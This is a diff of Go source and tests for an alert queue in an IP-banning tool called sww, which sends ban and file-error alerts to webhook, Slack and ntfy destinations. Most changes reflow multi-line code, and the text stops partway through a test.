github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||||
|
|||||||
+20
-61
@@ -56,11 +56,9 @@ const (
|
|||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||||
EventSourceFailure = "source_failure"
|
EventSourceFailure = "source_failure"
|
||||||
// EventFileError is one of:
|
// EventFileError is a rule file or state file edited while sww
|
||||||
// - a rule file or state file edited while sww runs that does not parse;
|
// runs that does not parse, a replacement of the lookup database that
|
||||||
// - a cache file that does not parse, at start or after an edit;
|
// cannot be read, or a state file that cannot be written.
|
||||||
// - a state file or cache file that cannot be written;
|
|
||||||
// - a replacement of the lookup database that cannot be read.
|
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
@@ -291,15 +289,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
|
|||||||
asn, _ := alert.Detail["asn"].(string)
|
asn, _ := alert.Detail["asn"].(string)
|
||||||
name, _ := alert.Detail["name"].(string)
|
name, _ := alert.Detail["name"].(string)
|
||||||
|
|
||||||
return cooldownKey{
|
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
|
||||||
alert.Event,
|
|
||||||
alert.Netblock,
|
|
||||||
file,
|
|
||||||
source,
|
|
||||||
scope,
|
|
||||||
asn,
|
|
||||||
name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Queue with no alert yet.
|
// New returns a Queue with no alert yet.
|
||||||
@@ -341,8 +331,7 @@ func New(params Params) *Queue {
|
|||||||
// queue of each destination, from which Run sends it, and with queueSize
|
// queue of each destination, from which Run sends it, and with queueSize
|
||||||
// alerts waiting for a destination, the oldest is dropped.
|
// alerts waiting for a destination, the oldest is dropped.
|
||||||
func (q *Queue) Raise(alert Alert) {
|
func (q *Queue) Raise(alert Alert) {
|
||||||
if len(q.destinations) == 0 ||
|
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
|
||||||
!slices.Contains(q.params.Events, alert.Event) {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -389,8 +378,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
|
|||||||
now := q.params.Now()
|
now := q.params.Now()
|
||||||
|
|
||||||
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
||||||
if q.params.Cooldown > 0 && found &&
|
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
|
||||||
now.Sub(last.Sent) < q.params.Cooldown {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -484,15 +472,10 @@ func (q *Queue) Snapshot() State {
|
|||||||
}
|
}
|
||||||
|
|
||||||
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
||||||
return cmp.Or(
|
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
|
||||||
a.Netblock.Compare(b.Netblock),
|
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
|
||||||
cmp.Compare(a.Event, b.Event),
|
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
|
||||||
cmp.Compare(a.File, b.File),
|
cmp.Compare(a.Name, b.Name))
|
||||||
cmp.Compare(a.Source, b.Source),
|
|
||||||
cmp.Compare(a.Scope, b.Scope),
|
|
||||||
cmp.Compare(a.ASN, b.ASN),
|
|
||||||
cmp.Compare(a.Name, b.Name),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, d := range q.destinations {
|
for _, d := range q.destinations {
|
||||||
@@ -624,12 +607,9 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
var reasons []string
|
var reasons []string
|
||||||
|
|
||||||
if heldBack > 0 {
|
if heldBack > 0 {
|
||||||
reasons = append(
|
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
reasons,
|
|
||||||
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
|
||||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
@@ -708,19 +688,12 @@ func (d *destination) run(ctx context.Context) {
|
|||||||
case ctx.Err() == nil: // not cut off as sww stops
|
case ctx.Err() == nil: // not cut off as sww stops
|
||||||
d.sendFailures.Add(1)
|
d.sendFailures.Add(1)
|
||||||
|
|
||||||
retryDelay = min(
|
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||||
max(retryDelayFactor*retryDelay, firstRetryDelay),
|
maxRetryDelay)
|
||||||
maxRetryDelay,
|
|
||||||
)
|
|
||||||
retryAt = time.Now().Add(retryDelay)
|
retryAt = time.Now().Add(retryDelay)
|
||||||
|
|
||||||
d.processLog.Warn(
|
d.processLog.Warn("sending an alert to "+d.setting+" failed",
|
||||||
"sending an alert to "+d.setting+" failed",
|
"error", err.Error(), "sending_again_in", retryDelay.String())
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
"sending_again_in",
|
|
||||||
retryDelay.String(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -808,12 +781,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
|
||||||
ctx,
|
bytes.NewReader(body))
|
||||||
http.MethodPost,
|
|
||||||
d.url.String(),
|
|
||||||
bytes.NewReader(body),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -867,14 +836,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
|
|||||||
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
||||||
// Slack asks, so that nothing in them is read as a link or a mention.
|
// Slack asks, so that nothing in them is read as a link or a mention.
|
||||||
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||||
escape := strings.NewReplacer(
|
escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace
|
||||||
"&",
|
|
||||||
"&",
|
|
||||||
"<",
|
|
||||||
"<",
|
|
||||||
">",
|
|
||||||
">",
|
|
||||||
).Replace
|
|
||||||
|
|
||||||
body, err := json.Marshal(map[string]string{
|
body, err := json.Marshal(map[string]string{
|
||||||
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
||||||
@@ -972,10 +934,7 @@ func text(alert *Alert) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if alert.SuppressedRepeats > 0 {
|
if alert.SuppressedRepeats > 0 {
|
||||||
lines = append(
|
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
|
||||||
lines,
|
|
||||||
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return strings.Join(lines, "\n")
|
return strings.Join(lines, "\n")
|
||||||
|
|||||||
+80
-304
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
Country: "DE",
|
Country: "DE",
|
||||||
Reason: "requests per minute over the limit of 1000",
|
Reason: "requests per minute over the limit of 1000",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
||||||
"cause": "limit",
|
|
||||||
"ban_expires": anHourOn,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
||||||
t.Errorf(
|
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
|
||||||
"request %s %s, want POST %s",
|
|
||||||
got[0].method,
|
|
||||||
got[0].url,
|
|
||||||
webhookURL,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, want := range map[string]string{
|
for name, want := range map[string]string{
|
||||||
@@ -92,12 +84,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"X-Team": "ops",
|
"X-Team": "ops",
|
||||||
} {
|
} {
|
||||||
if got[0].header.Get(name) != want {
|
if got[0].header.Get(name) != want {
|
||||||
t.Errorf(
|
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
|
||||||
"header %s is %q, want %q",
|
|
||||||
name,
|
|
||||||
got[0].header.Get(name),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -111,10 +98,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "DE",
|
"country": "DE",
|
||||||
"reason": "requests per minute over the limit of 1000",
|
"reason": "requests per minute over the limit of 1000",
|
||||||
"detail": map[string]any{
|
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
||||||
"cause": "limit",
|
|
||||||
"ban_expires": anHourOn,
|
|
||||||
},
|
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
})
|
})
|
||||||
wantCounts(t, q, 1, 0, 0, 0)
|
wantCounts(t, q, 1, 0, 0, 0)
|
||||||
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{
|
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
||||||
alerts.EventSourceFailure,
|
|
||||||
alerts.EventFileError,
|
|
||||||
}
|
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
||||||
alerts.Alert{
|
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
|
||||||
Event: alerts.EventFileError,
|
|
||||||
Reason: "a file error",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
q.Raise(
|
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventPermanentBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventFileError)
|
wantEvents(t, webhook, alerts.EventFileError)
|
||||||
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{
|
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
||||||
alerts.EventSourceFailure,
|
|
||||||
alerts.EventFileError,
|
|
||||||
}
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
|
|
||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error(
|
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
||||||
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||||
@@ -222,10 +188,7 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf(
|
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
||||||
"a ban alert would not be sent with only %s set",
|
|
||||||
setting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
|
||||||
t,
|
alerts.EventBan)
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventPermanentBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
|
|
||||||
for i, want := range []struct {
|
for i, want := range []struct {
|
||||||
netblock int
|
netblock int
|
||||||
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
alert := got[i].alert
|
alert := got[i].alert
|
||||||
if alert["netblock"] != netblock(want.netblock).String() ||
|
if alert["netblock"] != netblock(want.netblock).String() ||
|
||||||
alert["suppressed_repeats"] != want.repeats {
|
alert["suppressed_repeats"] != want.repeats {
|
||||||
t.Errorf(
|
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
|
||||||
"alert %d is for %v with %v repeats, want %s with %v",
|
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
|
||||||
i,
|
want.repeats)
|
||||||
alert["netblock"],
|
|
||||||
alert["suppressed_repeats"],
|
|
||||||
netblock(want.netblock),
|
|
||||||
want.repeats,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -304,10 +254,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
fileError := func(file string) alerts.Alert {
|
fileError := func(file string) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{"file": file, "error": "line 2: an error"},
|
||||||
"file": file,
|
|
||||||
"error": "line 2: an error",
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceFailure := func(source string) alerts.Alert {
|
sourceFailure := func(source string) alerts.Alert {
|
||||||
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
||||||
}
|
}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf(
|
t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
|
||||||
"the webhook was sent alerts for %v, want %v",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCounts(t, q, 4, 0, 2, 0)
|
wantCounts(t, q, 4, 0, 2, 0)
|
||||||
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
after.Raise(fileError("/rules.d/50-c.rules"))
|
after.Raise(fileError("/rules.d/50-c.rules"))
|
||||||
|
|
||||||
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 ||
|
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
||||||
waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
|
||||||
t.Errorf(
|
|
||||||
"after loading, alerts wait %+v, want the one for 50-c.rules",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventPermanentBan,
|
|
||||||
Netblock: netblock(4),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
// The summary is sent as the hour ends, and not before.
|
// The summary is sent as the hour ends, and not before.
|
||||||
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
|
||||||
t,
|
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
)
|
|
||||||
|
|
||||||
summary := webhook.received()[2].alert
|
summary := webhook.received()[2].alert
|
||||||
wantAlert(t, summary, map[string]any{
|
wantAlert(t, summary, map[string]any{
|
||||||
@@ -436,9 +364,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
"events": map[string]any{
|
"events": map[string]any{
|
||||||
"ban": float64(
|
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
|
||||||
1,
|
|
||||||
), "permanent_ban": float64(1), "file_error": float64(1),
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
|
||||||
t,
|
alerts.EventBan)
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
wantCounts(t, q, 4, 0, 3, 0)
|
wantCounts(t, q, 4, 0, 3, 0)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
raise := func() {
|
raise := func() {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The hour's one alert, and two repeats the cooldown holds back.
|
// The hour's one alert, and two repeats the cooldown holds back.
|
||||||
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
raise()
|
raise()
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
|
||||||
t,
|
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) == 3 {
|
if len(got) == 3 {
|
||||||
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
summaryRepeats := got[1].alert["suppressed_repeats"]
|
summaryRepeats := got[1].alert["suppressed_repeats"]
|
||||||
lastRepeats := got[2].alert["suppressed_repeats"]
|
lastRepeats := got[2].alert["suppressed_repeats"]
|
||||||
|
|
||||||
if detail["count"] != float64(1) ||
|
if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
|
||||||
summaryRepeats != float64(2) ||
|
|
||||||
lastRepeats != float64(0) {
|
lastRepeats != float64(0) {
|
||||||
t.Errorf(
|
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
|
||||||
"the summary counts %v alerts and %v repeats, and the last "+
|
"alert gives %v repeats, want 1, 2 and 0", detail["count"],
|
||||||
"alert gives %v repeats, want 1, 2 and 0",
|
summaryRepeats, lastRepeats)
|
||||||
detail["count"],
|
|
||||||
summaryRepeats,
|
|
||||||
lastRepeats,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
||||||
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept > int(cooldown/time.Minute) {
|
if kept > int(cooldown/time.Minute) {
|
||||||
t.Errorf(
|
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
|
||||||
"after %d netblocks, %d cooldowns are kept, want at most %d",
|
netblocks, kept, int(cooldown/time.Minute))
|
||||||
netblocks,
|
|
||||||
kept,
|
|
||||||
int(cooldown/time.Minute),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept != 0 || repeats != float64(netblocks) {
|
if kept != 0 || repeats != float64(netblocks) {
|
||||||
t.Errorf(
|
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
|
||||||
"%d cooldowns are kept and the webhook was given %v repeats, "+
|
"want 0 and %d", kept, repeats, netblocks)
|
||||||
"want 0 and %d",
|
|
||||||
kept,
|
|
||||||
repeats,
|
|
||||||
netblocks,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -726,14 +620,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(
|
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
||||||
logged,
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
"alerts.example",
|
|
||||||
) || strings.Contains(logged, "team=ops") {
|
|
||||||
t.Errorf(
|
|
||||||
"process log %q names no failure, or names the URL",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
// than the queue holds is raised: none waits, and the oldest, the
|
// than the queue holds is raised: none waits, and the oldest, the
|
||||||
// one the webhook was sent, is dropped.
|
// one the webhook was sent, is dropped.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
|
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, 0, 0, 1)
|
wantCounts(t, q, 0, 0, 0, 1)
|
||||||
|
|
||||||
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
